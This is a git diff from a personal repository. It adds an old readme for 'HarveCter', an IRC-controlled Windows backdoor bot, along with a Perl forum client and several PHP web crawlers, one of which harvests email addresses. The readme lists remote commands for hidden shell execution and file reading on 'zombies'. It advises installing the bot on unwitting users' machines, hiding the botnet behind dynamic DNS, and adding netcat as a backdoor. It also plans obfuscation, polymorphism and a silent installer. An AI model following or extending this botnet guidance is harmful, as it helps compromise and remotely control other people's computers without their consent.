z#d8%40{21ar)f;tr9$h>up&j<`GNV9oCfQMP-k7gnLFuW$v$LtmXC>B+XUlA^XjS!CxTziy&%dUOiVU~m zc)h}yt4R#)$(;bw!SQzFfi-F=&^&#UrFVkOQoKTVIwnUySI>A3Yz-$6l18o5#}7^< z67(DhtF_&abhDi;T%q#FNOR`>xZm`u3cPq~$|w>ZqZW7@>~>uG5M33f@Pc1|YQUl( zNFDwWSZ*BKt?tdb6J<|JmZ~E(-KLHkdq*y)GR=%T#G6lvWHf-US!Xlg(ut>Sn_;&wb=( za*nH&`mm&R19Ok!)jzIIv6;}&^GUk!QhP11N`rXxICxx13wO#as6?PaDufYR!Ko~` zH`~a)UW3SVT}78C^@4>Q=-CTAcg+kNpr0^sVM)wXW@=rfy)T)j9r7mmytaEu0&LIC~z>pP1O{0?fx z5EV=#;gY=Cd}BgHIbHkFqus!VS4$tE+VW_05I+8h4N<{= z-T+T9r}e;fUsvejKEN;~27x4hAxX&yc_%}hs%zM*8*2Yxt=$>Dh%V{rQ~LpU`6PHf z&DKvxXS84$mEnBKgvl|g8(gNvjd&N8=rPa{EBU=|#z=`Io53-f!I?PGx=c~hAX0qv zc)pX7KWx!*)l|1i)7o}^XY~5Ji)+Xj&g5}FFo&`5S(lXHv?4A9X(>5)rpfc5#Md*n zz@|Z(ucsI@HhXT6b#ZW!@cJabci5_IpJ=E^YDBSB<9tM=hUQcyhC3VQ2LFV=`JIrm z3VqBtS7f~+8>!bgrtssOSGff;7)jj)Y6R#?6p|fr@WR)-q0$(XdNM9#w^v0y>SHKz z(r3*M7*pQ0AxNQPj+O7oTUbN_irPURH4x%;l(IR42(h%Vl9fl}xZcuK*dd)AG2+E~ zgMi)C!)6Xp(cC3fK@WI`Kr-2 zrCtw%y#d9~%|!%v4B2@e#Q!Boto5ls`y*lM@LB}j^|SpqSO_3oaY_WSYC;)y?8ji# zAq3bN35qXX4;mwk!{HrLE>wHl-?pnkUQp9fy%Y8X56s11ogTV89$gS z?4Y*~aZuD*cfbvFwI&wj(jC5&Zc6ch-+t15uTOMH8WUW|z`Oiz%@O^`9^;!$5H9eb3p6HKb7O;+Q{?d&rb8>TmDuA?jfMsDT#>jXvaGnun z3l$@&cZP2<(LgQxT-yMy)1E^c4Mu5(WETU>dU3Veoy4U) zzmXlaT$@Mzq{8)aSEWBZ121{3KWBe4c~$+VS2G;NvV9Iif&Q&$$o`KUaN?b+OIUz~ z&qS&go}tUeikTk;fWtZwj07p<4W8QG5u~71-0ltzog`^g(+=s|czFr0am(jnRjwxr zz2Rc(#?Zh%#-|SoK30g2xg2Bl-*#|r53IHlswzVU6py(k#^}=|2YZKiS?-S1S?M+U4}0`HF$Tv$M0r<4~3CFie4& zA#KgNlBsk>{$PB1QlJXO9e=Clo8DUuwdb^^ zp}J(P4f}LC^Y&r6W`(*=bd(*24`0rnH1F@=zzPt?w%L9u)?HekPU0v7LCN9*^d7i!v1&Y+TC*?PKYwLf+0H!w5}`Qo zi^X~25|1M~*f7aq&w@2BYI&CYV1*1w4Qq-X7%)`=qypv*mz}t~#jd6L-RVII#-0BnO~`7BQxewxIg*6Sy=hrlS9Z&qUXQex-*D>%%hmm+8QS~@=M>gm ztRgXEBaN<5_3p$f=ZW~1lngf5J2y|u$vL&2gJ^aopztclNl0*o1)pPefjVG? z{yfoL<}LL5y_WFiWv@U6=*j6Ok?5$6ePp8V2S$67Em;`(}MZ9XnBm|AMo zcwG!e69`cmSDGR32~wwueeE7Q#l3>DG|_HIUtt0KJKv| zF*|gbZ_nB2>lmb1V^D|Il1!AJgRxswp2tp&&zvxix7-Yk;@$0pvt$ELY@dB`t@3i3 z?%nYkWPSz(jScf{-!D;$w`#TSMeFLu%QJ9 z00{iV`Iz+gt@_5P_(uaZTs*<%)Drf#4)%8Db}n*u&gL%8zn9q}Wr>o*2LNt(0RV=d zWIQPTCz;>VYF2(G-=v2u_Nf5?lt0lTKy36ooBp#k$lhNFmO!jA4T%QEpZM5Jf6pgl zXK!o%gE@ZRPQx6x%Tx&8IOL@JiI>{q|KN49cXjxa_wV(=UtNbG*z-&U(%4%_V-ZK9(3byBD&`6aQlOa`$j(v;=wfR1`-Y3^^-TLfmQjOn0D$j(^_xZ>=>JPY!@&un z^m~yLo_jl7SO6djBE34L+6uou!vCn3YmG9kiqZUQ2poe z&EK_2{{#6q-~ZkXS?%M)#E{(43u33A1L->R--%WK><$0aa^Vs(zW0!pLp}Uez$*KH z5pV*6!RFw9h}6B;lg8gN-!#f!1IelA-vud1s!6BpTmLV`uDs~Kz3&K?#}t<8 literal 0 HcmV?d00001 diff --git a/misc/semi-private.projects/harvecter.nfo b/misc/semi-private.projects/harvecter.nfo new file mode 100755 index 0000000..d7f08b6 --- /dev/null +++ b/misc/semi-private.projects/harvecter.nfo @@ -0,0 +1,125 @@ + <>=========================================================== 1001 1001 1011 1110 0000 01101 1110 ===<> + ___ ___ ___ ___ + /__/\ / /\ / /\ ___ ___ / /\ + \ \:\ / /::\ / /::\ /__/\ / /\ / /:/_ + \__\:\ / /:/\:\ / /:/\:\ \ \:\ / /:/ / /:/ /\ + ___ / /::\ / /:/~/::\ / /:/~/:/ \ \:\ /__/::\ / /:/ /:/_ + /__/\ /:/\:\/__/:/ /:/\:\/__/:/ /:/___ ___ \__\:\\__\/\:\__ /__/:/ /:/ /\ + \ \:\/:/__\/\ \:\/:/__\/\ \:\/::::://__/\ | |:| \ \:\/\\ \:\/:/ /:/ + \ \::/ \ \::/ \ \::/~~~~ \ \:\| |:| \__\::/ \ \::/ /:/ + \ \:\ \ \:\ \ \:\ \ \:\__|:| /__/:/ \ \:\/:/ + \ \:\ \ \:\ \ \:\ \__\::::/ \__\/ \ \::/ + \__\/ \__\/ \__\/ ~~~~ \__\/ + + <>===== IRC Bot ================================================================ <-- Harvie 2oo7 ====<> + <> <> + <> <>GENERAL <> + <> Name: HarveCter <> + <> Subject: IRC Bot <> + <> Description: Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC <> + <> Version: 1.0 <> + <> <> + <> <>DETAILS <> + <> Platform: Microsoft Windows (Tested on 2000, XP SP1, XP SP2) <> + <> Language: Ansi C + Few windows libs (Windows & WinSock) <> + <> Author: <-- Harvie <> + <> Date: 2oo7 <> + <> Contact: Harvie@irc.2600.net <> + <> <> + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000=============================================================== <-- Harvie 2oo7 =====111====<> + + <>===== INFO ================================================ 1001 1001 1011 1110 0000 01101 1110 ===<> + + <>Building info: +Optimalized for Dev-Cpp. +Compile as windows GUI app. to make a daemon. + + <>Warnings: +There is not so big security!!! +If you want to keep your zombies, +control them only by PM or at completely secure channel!!! +All passwords, that are starting with your password will be accepted!!! +If you want to keep your botnet use Dynamic IRC server maping (by Dynamic DNS), +rather than sending bots directly to one server (as irc.2600.net:6667)!!! + + <>Setting up: +- You can do all settings in source. +- for better security use a different password for channel and bots. + + <>Commands: +- Warning: all commands are case sensitive + +- !login [login] //Bad login=logout +- !chanpass //Set mode +k (each bot sends this when connected) + + <>Privileged commands (needs login) +- !SAY [msg] //Say msg +- !CMD [shell command] //Execute command @ bot (hidden console window) +- !CMD start [shell command] //Execute command @ bot (show console window) +- !head [file to send] //Send few (maxlines_to_send) lines of file +- !raw [line to send] //Sends raw line to server (you can OP yourself) +- !info //Info about zombie +- !time //Local time @ zombie +- !show //Show console window +- !hide //Hide console window +- !restart //Restart connection to server +- !respawn //Restart whole zombie + + <>Startup commands: +Each time when the bot starts, he executes the "hircb.rc.bat" file - hidden (UTFS). + + <>More functions: +If you want to add more functions to this bot, you can add them direct to the code, +or you can simple add executable binaries to its directory (!CMD binary.exe). +This binary must be fully controlled from CLI (command line). + + <>Recommended binaries to add: +- Wget (wget.exe) - Allows you to download files from http & ftp (add functions online...) +- cURL (curl.exe) - Allows you to upload files to your server (needs some php scripts...) + + <>Another usefull binaries: +- NetCat (nc.exe) - Useful (Easy Networking, Firewall test, Backdoor, etc...) - you know... +- Servers - FTP(SlimFTPd), HTTP(you can strip Apache), SMTP, SOCKS, Proxy +- Runtimes - Unix(CygWin), Java(JArX) PHP, Perl, Python +- NirCMD2 - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...) +- CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???) +- Anything else - DoS, mailing (Don't do any ilegal stuff with this - just testing!!!) + + <>Recommendations: +- Use some free DNS service to move zombies across servers. +- Take very big care about channel security. +- Install this bot only at n00bz' computers, because there is no encryption + (anybody else can sniff and get passwords, etc...) + + <>Version history: +- future - Maybe some bugfixes +- 1.0 - Fixed for overflows, checked bounds, etc..., reformated/reidented source +- 1.0bRC1 - Implemented Connection checker (new thread), Implemented "!line" +- 1.0b - Bugfixes (cmdfile), Implemented "!respawn" +- 0.9 - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn" +- 0.8 - Hidden execution +- 0.7 - Implemented "!info" & "!time" +- 0.6 - Implemented "!login" function +- 0.5 - Implemented "!CMD" function +- other - I can't remember ;D + + <>To Do: +- Need SSL to Rock! +- Binary obfuscation better than UPX +- Polymorfism? +- Test binary on "W0W MS OS Vista" (sorry, im running Linux ;) +- Implement some minimalistic hack, which allows you to download wget +- Utility for changing bot settings by direct binary patching without recompiling +- Automatic silent installer + + <>Terms of use: +- Use it like you want [use, change, abuse]! +- There is no warranty, because this is free of charge for you! +- There is no responsibility from side of author, because this is tool only! +- Only you are responsible for yours acts! + + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000============================================================= <-- Harvie 2oo7/8 =====111====<> diff --git a/perl/kyberia/dist-probably-outdated/Kyberia.pl b/perl/kyberia/dist-probably-outdated/Kyberia.pl new file mode 100755 index 0000000..99eaa3c --- /dev/null +++ b/perl/kyberia/dist-probably-outdated/Kyberia.pl @@ -0,0 +1,79 @@ +#!/usr/bin/env perl +#Kyberia client... (Harvie 2oo9) +#THX2 || + +use strict; +use warnings; + +package Kyberia; + use LWP; + use HTML::Entities; + + our $url; + our $browser; + + sub new { #constructor + my ($self, $kurl) = @_; + $url = $kurl; + $browser = LWP::UserAgent->new( ); + $browser->cookie_jar( {} ); + return $self; + } + + sub Login { + my ($self, $user, $pass) = @_; + my $response = $browser->post( $url, + [ 'event' => 'login', + 'login' => $user, + 'password' => $pass, + 'login_type' => 'name', + ] + ); + return $response->is_success; + } + + sub Logout { + my $response = $browser->post( $url, + [ 'event' => 'logout' + ] + ); + return $response->is_success; + } + + sub SendMail { + my ($self, $user, $message) = @_; + my $response = $browser->post( $url, + [ 'event' => 'send', + 'mail_to' => $user, + 'mail_to_type' => 'name', + 'mail_text' => $message, + ] + ); + return $response->is_success; + } + + sub GetNode { + my ($self, $id) = @_; + my $response = $browser->get("$url/id/$id/"); + return $response->content; + } + + sub ReadMail { + my $response = $browser->get("$url/id/2176597/"); + my @mails = split(/\n/, $response->content); $response = ''; + shift(@mails); #remove CSV header + foreach (@mails) { + my ($MSG_ID, $FROM, $FROM_ID, $TO, $TO_ID, $TIME, $NEW, $TEXT) = split(/;/, $_, 8); #parse CSV + $TEXT =~ s/\\n/\n/g; decode_entities($TEXT); #unescape message + print("#$MSG_ID $FROM --> $TO ($TIME)\n\n$TEXT\n---------------------------------\n"); + } + return $response->is_success; + } + + sub CheckMail { + my $response = $browser->get("$url/ajax/check_new_mail.php"); + my @mails = split(/;/, $response->content); + return ($mails[0], $mails[1], "You have $mails[0] unread mails, last from $mails[1]."); + } + + return 1; diff --git a/php/crawler/old/crawlboost.phps b/php/crawler/old/crawlboost.phps new file mode 100755 index 0000000..683f5d2 --- /dev/null +++ b/php/crawler/old/crawlboost.phps @@ -0,0 +1,28 @@ +#!/usr/bin/php + 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + $nurl = spliti('(\?|#|\*|")', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + $test = @fopen($nurl, 'r'); + if($test) echo("$nurl\n"); + } + } + } +} + diff --git a/php/crawler/old/url2mail.phps b/php/crawler/old/url2mail.phps new file mode 100755 index 0000000..206f4b6 --- /dev/null +++ b/php/crawler/old/url2mail.phps @@ -0,0 +1,24 @@ +#!/usr/bin/php +| |\?|")', htmlspecialchars_decode($mail)); + echo(trim($mail[0])."\n"); + } + } + } \ No newline at end of file diff --git a/php/crawler/old/wcrawl.phps b/php/crawler/old/wcrawl.phps new file mode 100755 index 0000000..8894ecd --- /dev/null +++ b/php/crawler/old/wcrawl.phps @@ -0,0 +1,126 @@ +#!/usr/bin/php + $max) { + fclose($fp); + if($GLOBALS['debug']) echo("**Too much big file!!!: $file\n"); + return(0); + } + } + fclose($fp); + return(1); +} +function check_crawl_url($url) { //URL Filter for crawl_url function + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['url_db'])) return(0); + if(!file_size_check($url, $GLOBALS['maximum_file_size'])) return(0); + foreach($GLOBALS['eregi_url_whitelist'] as $white_url) { + if(eregi($white_url, $url)) return(1); + } + return(1); //1 == disable whitelisting, 0 == enable whitelisting +} + +function found_url($url) { //What to do with found URL + $test = @fopen($url, 'r'); + if(!$test) { + if($GLOBALS['debug']) echo("> Can't open file!: $url\n"); + return(1); + } + + echo($url."\n"); +} + +function crawl_url($url) { //Recursive crawler (with cleanup of course...) + found_url($url); + if($GLOBALS['i'] >= $GLOBALS['cache_size']) return(0); + $in = @file($url); if(!$in || !is_array($in)) return(1); + foreach($in as $line) { + $line = spliti('href="http://', $line); + if(sizeof($line) > 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + $nurl = spliti('(\?|#|\*|")', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + if(check_crawl_url($nurl)) { + array_push($GLOBALS['url_db'], $nurl); + $GLOBALS['i']++; $GLOBALS['total']++; + if($GLOBALS['debug']) echo("-cache: ".$GLOBALS['i']." +total urls crawled: ".$GLOBALS['total']."\n"); //Debug + if($GLOBALS['i'] < $GLOBALS['cache_size']) { + crawl_url($nurl); + } + if($GLOBALS['i'] >= $GLOBALS['cache_size']) return(0); + } + } + } + } +} + + +//CODE (Cleanup for crawl_url()) +if($debug) echo("!!! DEBUG MODE ON !!!\n"); +while(1) { + if($debug) echo("\n+Strating with: ".$url_db[0]."\n"); //Debug + foreach($url_db as $url) { + if($i < $cache_size) crawl_url($url); + } + //Cache cleanup + if($debug) echo("!Cache Cleanup\n"); //Debug + while(sizeof($url_db) > $min_cache_size) { + array_shift($url_db); + } + $url_db = array_reverse($url_db); + $i = $min_cache_size; +} \ No newline at end of file diff --git a/php/crawler/probably-more-old/crawler.phps b/php/crawler/probably-more-old/crawler.phps new file mode 100755 index 0000000..8b6352c --- /dev/null +++ b/php/crawler/probably-more-old/crawler.phps @@ -0,0 +1,219 @@ +#!/usr/bin/php +path/to/php5/php.exe crawler.php + * (you can add php.exe to PATH or associate .php files with it) + * + * Notes: + * - You can use EtherApe (or similar sniffer) to get graphical + * illustration of connecions (spider with your machine in center). + * - There are few bugs in PHP5, + * so this crawler may freeze after few minutes, + * but you can use $use_curlbin option (need some extra files). + * Check this for more info: http://bugs.php.net/bug.php?id=43098 + * + * Tips & Tricks: + * - Make found URLs 100% unique: + * cat urls.txt | sort -u > uurls.txt && mv -f uurls.txt urls.txt + * - Show filesize and total urls count: + * du -h urls.txt && cat urls.txt | wc -l + * - Open another output pipe: + * tail -f urls.txt + * - Use some plugin (filter) to extract emails, etc... + * tail -f urls.txt | ./example_mail_extractor.php + * + * Special thx2: + * - PHP, cURL (technology) + * - root.cz & php.net (help) + * - Linus Torvalds (because I am crawling from Linux) + */ + +///SETTINGS////////////////// +//Basic +$seed = 'http://www.secunia.com/'; //Start crawling from this page +$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive) +$delete_url_db = false; //Delete file with saved URLs before crawling +$restore = true; //Use last url from $file instead of seed +//Advanced +$max_size = 10000; //How many bytes download from each page? +$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue) +$buffer_increase = false; //Increase buffer at buffer underrun? +$random_url = false; //Select random urls from page? (This may override URL filter) +$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...) +//Curl binary plugin +$use_curlbin = true; //Use interface to cURL executable instead of file_get_contents() (More speed, less crashes) +$curlpath = 'curl'; //Path to cURL executable binary (you can download it from http://curl.haxx.se/) +//Sort binary plugin +$use_sortbin = true; //Use sort to make URLs unique? +$sortpath = 'sort'; //Path to SORT executable binary (get it from your OS or UNXUtils for Windows) +$sort_each = $history_max; //Sort file after X new URLs +//System/PHP +$socket_timeout = 1; //How long you want wait for a webserver? (seconds) +$time_limit = 0; //How long run? (seconds; 0==infinite) +$memory_limit = '128M'; //Maximum memory to eat (if exhausted, crawler will stop) +//Debug +$debug = true; //Use debuging mode? (Print errors and statistics) + +//Filter +$eregi_url_blacklist = array( //Most important thing when crawling ;D + '(W3\.org|W3C)', //Hell knows... + '(shop|xxx|porn|lesbian|hot)', //Commercial sites + '(google|209.85.135.104|yahoo.com|amazon.com|youtube.com)', //Big sites + '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites + '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content + '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files + '.\.(pdf|swf|flv|cfm)', //Other text files + '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files +); + + +///FUNCTIONS///////////////// +function shell_sort_file($file, $tmpfile='.tmp') { + $tmpfile = $file.$tmpfile; + if($GLOBALS['debug']) echo("-SORTing $file (using tempfile $tmpfile)\n"); + @unlink($tmpfile); + system($GLOBALS['sortpath']." -u $file > $tmpfile"); + if(is_file($tmpfile) && (filesize($tmpfile) > 3)) { + unlink($file); + rename($tmpfile, $file); + } else { + if($GLOBALS['debug']) echo("-SORTing failed!!!\n"); + } + if($GLOBALS['debug']) echo("-SORTing done!\n"); +} + +function shell_curl_get($url, $timeout=0, $maxdata=0) { //I made this cURL interface cause file_get_contents() absolutely sux + $curl = 'curl'; + if(isset($GLOBALS['curlpath'])) $curl = $GLOBALS['curlpath']; + $args = "--get --location --connect-timeout $timeout --max-time $timeout --compressed --stderr curl.debug"; + $url = escapeshellcmd(trim($url)); + $cmd = "$curl --url \"$url\" $args"; + if($GLOBALS['debug']) echo("-Ex: $cmd\n"); + $fp = popen($cmd, 'r'); + stream_set_timeout($fp, $timeout); + stream_set_blocking($fp, 0); + //if($timeout>0) sleep($timeout); + $data = ''; + while(!feof($fp)) { + $in = fgets($fp, 100); + $data .= $in; + if($maxdata>0 && strlen($data)>=$maxdata) break; + if($in == '') usleep(1000000/8); + } + @fclose($fp); + return $data; +} + +function check_crawl_url($url) { //Use this function to determine if url is wanted + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['urls'])) return(0); + $file_url = explode('?', $url, 2); $file_url = $file_url[0]; + if(in_array($file_url, $GLOBALS['history'])) return(0); + return(1); +} + + +///CODE////////////////////// +//Init +if($restore && is_file($file)) { //Load last url as seed + $urls[1]=$seed; //original seed as backup (if no urls found at restored page) + if($debug) echo("!Restoring: "); + $rest = fopen($file, 'r'); + while(!feof($rest)) { + $seed = $new; + $new = fgets($rest); + } + fclose($rest); + $seed = trim($seed); + if($debug) echo($seed."\n"); + $urls[0]=$seed; + $seed=$urls[1]; +} + +if($delete_url_db) @unlink($file); +ini_set('default_socket_timeout',$socket_timeout); +set_time_limit($time_limit); +ini_set('memory_limit', $memory_limit); + +//Loop +if($debug) { $u = 0; $c = 0; $t = time(); } +$history[0] = ''; +$sort_next = $sort_each; +$sorted_db = 0; +$fp = fopen($file, 'a+'); +while(true) { //MAIN L00P + if(sizeof($urls) <= 0) { + $urls=''; + $urls[0]=$seed; + if($buffer_increase) $max_urls++; //Increase size of buffer by one + if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n"); + } + + //Get URL from buffer, download few bytes and write down URLs to array: + $url = array_shift($urls); + if($debug) echo("-Parsing: $url\n"); + if(!$use_curlbin) { $page = @file_get_contents($url, false, null, 0, $max_size); } + else { $page = shell_curl_get($url, $socket_timeout, $max_size); } + preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode($page), $new_urls); + $new_urls = $new_urls[0]; + + foreach($new_urls as $new_url) { //Process grabed URLs + if($debug) $c++;///Debug + if(check_crawl_url($new_url)) { + echo($new_url."\n"); + fwrite($fp, $new_url."\n"); + + if($use_sortbin) { //Handle sorting (unique URLs) + $sort_next--; + if($sort_next<=0) { + fclose($fp); + shell_sort_file($file); + if($debug) { + $sorted_db = 0; + $fp = fopen($file, 'r'); + while(!feof($fp)) { + fgets($fp); + $sorted_db++; + } + fclose($fp); + } + $fp = fopen($file, 'a+'); + $sort_next = $sort_each; + } + } + + $file_url = explode('?', $new_url, 2); $file_url = $file_url[0]; + array_push($history, $file_url); + while(sizeof($history) > $history_max) @array_shift($history); + if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); } + else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); } + if($debug) { ///Debug Block + $u++; + $sorted_db++; + $uspeed = round($u/(time()-$t+1), 2); + $cspeed = round($c/(time()-$t+1), 2); + $time = round((time()-$t)/60, 1); + $buffered = sizeof($urls); + $historied = sizeof($history); + $memory = round(memory_get_usage()/1000000, 2); + echo("+$u ($sorted_db sorted) URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; To sort: $sort_next URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s; Memory used: $memory/$memory_limit\n"); + } + } + } + $new_urls = ''; //Memory cleanup +} + +##EOF diff --git a/php/crawler/probably-more-old/old/crawler_5.3.phps b/php/crawler/probably-more-old/old/crawler_5.3.phps new file mode 100755 index 0000000..8dc1795 --- /dev/null +++ b/php/crawler/probably-more-old/old/crawler_5.3.phps @@ -0,0 +1,104 @@ +#!/usr/bin/php +path/to/php5/php.exe crawler.php + * (you can add php.exe to PATH or associate .php files with it) + * + * Notes: + * At this moment, there are few bugs in PHP5, + * so this crawler may freeze after few minutes. + * Check this for more info: http://bugs.php.net/bug.php?id=43098 + */ + +///SETTINGS +//Basic +$seed = 'http://www.secunia.com/'; //Start crawling from this page +$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive) +$delete_url_db = true; //Delete file with saved URLs before crawling +//Advanced +$max_size = 10000; //How many bytes download from each page? +$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue) +$buffer_increase = false; //Increase buffer at buffer underrun? +$random_url = false; //Select random urls from page? (This may override URL filter) +$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...) +//Misc. +ini_set('default_socket_timeout',1); //How long you want wait for a webserver? (seconds) +set_time_limit(0); //How long run? (seconds; 0==infinite) +$debug = false; //Use debuging mode? (Print errors and statistics) + +//Filter +$eregi_url_blacklist = array( + '(W3\.org|W3C)', //Hell knows... + '(shop|xxx|porn|lesbian|hot)', //Commercial sites + '(google|209.85.135.104|amazon.com|youtube.com)', //Big sites + '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites + '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content + '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files + '.\.(pdf|swf|flv|cfm)', //Other text files + '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files +); + +function check_crawl_url($url) { //Use this function to determine if url is wanted + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['urls'])) return(0); + $file_url = explode('?', $url, 2); $file_url = $file_url[0]; + if(in_array($file_url, $GLOBALS['history'])) return(0); + return(1); +} + +///CODE +if($delete_url_db) @unlink($file); +if($debug) { $u = 0; $c = 0; $t = time(); } +$history[0] = ''; +$fp = fopen($file, 'a+'); +while(true) { + if(sizeof($urls) <= 0) { + $urls=''; + $urls[0]=$seed; + if($buffer_increase) $max_urls++; //Increase size of buffer by one + if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n"); + } + + $url = array_shift($urls); + if($debug) echo("-Parsing: $url\n"); + preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($url, false, null, 0, $max_size)), $new_urls); + $new_urls = $new_urls[0]; + + foreach($new_urls as $new_url) { + if($debug) $c++;///Debug + if(check_crawl_url($new_url)) { + echo($new_url."\n"); + fwrite($fp, $new_url."\n"); + $file_url = explode('?', $new_url, 2); $file_url = $file_url[0]; + array_push($history, $file_url); + while(sizeof($history) > $history_max) @array_shift($history); + if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); } + else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); } + if($debug) { ///Debug Block + $u++; + $uspeed = round($u/(time()-$t+1), 2); + $cspeed = round($c/(time()-$t+1), 2); + $time = round((time()-$t)/60, 1); + $buffered = sizeof($urls); + $historied = sizeof($history); + echo("+$u URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s\n"); + } + } + } + $new_urls = ''; //Memory cleanup +} + +##EOF \ No newline at end of file diff --git a/php/crawler/probably-more-old/old/crawler_5.5.phps b/php/crawler/probably-more-old/old/crawler_5.5.phps new file mode 100755 index 0000000..3727ecd --- /dev/null +++ b/php/crawler/probably-more-old/old/crawler_5.5.phps @@ -0,0 +1,179 @@ +#!/usr/bin/php +path/to/php5/php.exe crawler.php + * (you can add php.exe to PATH or associate .php files with it) + * + * Notes: + * - You can use EtherApe (or similar sniffer) to get graphical + * illustration of connecions (spider with your machine in center). + * - There are few bugs in PHP5, + * so this crawler may freeze after few minutes, + * but you can use $use_curlbin option (need some extra files). + * Check this for more info: http://bugs.php.net/bug.php?id=43098 + * + * Tips & Tricks: + * - Make found URLs 100% unique: + * cat urls.txt | sort -u > uurls.txt && mv -f uurls.txt urls.txt + * - Show filesize and total urls count: + * du -h urls.txt && cat urls.txt | wc -l + * - Open another output pipe: + * tail -f urls.txt + * - Use some plugin (filter) to extract emails, etc... + * tail -f urls.txt | ./example_mail_extractor.php + * + * Dedicated to: SooM.cz (This is SooM project) + * Special thx2: + * - PHP, cURL (technology) + * - root.cz & php.net (help) + * - Linus Torvalds (because I am crawling from Linux) + */ + +///SETTINGS////////////////// +//Basic +$seed = 'http://www.secunia.com/'; //Start crawling from this page +$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive) +$delete_url_db = false; //Delete file with saved URLs before crawling +$restore = true; //Use last url from $file instead of seed +//Advanced +$max_size = 10000; //How many bytes download from each page? +$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue) +$buffer_increase = false; //Increase buffer at buffer underrun? +$random_url = false; //Select random urls from page? (This may override URL filter) +$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...) +//Curl binary plugin +$use_curlbin = false; //Use interface to cURL executable instead of file_get_contents() (More speed, less crashes) +$curlpath = 'curl'; //Path to cURL executable binary (you can download it from http://curl.haxx.se/) +//System/PHP +$socket_timeout = 1; //How long you want wait for a webserver? (seconds) +$time_limit = 0; //How long run? (seconds; 0==infinite) +$memory_limit = '128M'; //Maximum memory to eat (if exhausted, crawler will stop) +//Debug +$debug = true; //Use debuging mode? (Print errors and statistics) + +//Filter +$eregi_url_blacklist = array( //Most important thing when crawling ;D + '(W3\.org|W3C)', //Hell knows... + '(shop|xxx|porn|lesbian|hot)', //Commercial sites + '(google|209.85.135.104|yahoo.com|amazon.com|youtube.com)', //Big sites + '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites + '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content + '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files + '.\.(pdf|swf|flv|cfm)', //Other text files + '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files +); + + +///FUNCTIONS///////////////// +function shell_curl_get($url, $timeout=0, $maxdata=0) { //I made this cURL interface cause file_get_contents() absolutely sux + $curl = 'curl'; + if(isset($GLOBALS['curlpath'])) $curl = $GLOBALS['curlpath']; + $args = "--get --location --connect-timeout $timeout --max-time $timeout --compressed --stderr curl.debug"; + $url = escapeshellcmd(trim($url)); + $cmd = "$curl --url \"$url\" $args"; + if($GLOBALS['debug']) echo("-Ex: $cmd\n"); + $fp = popen($cmd, 'r'); + stream_set_timeout($fp, $timeout); + stream_set_blocking($fp, 0); + //if($timeout>0) sleep($timeout); + $data = ''; + while(!feof($fp)) { + $in = fgets($fp, 100); + $data .= $in; + if($maxdata>0 && strlen($data)>=$maxdata) break; + if($in == '') usleep(1000000/8); + } + @fclose($fp); + return $data; +} + +function check_crawl_url($url) { //Use this function to determine if url is wanted + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['urls'])) 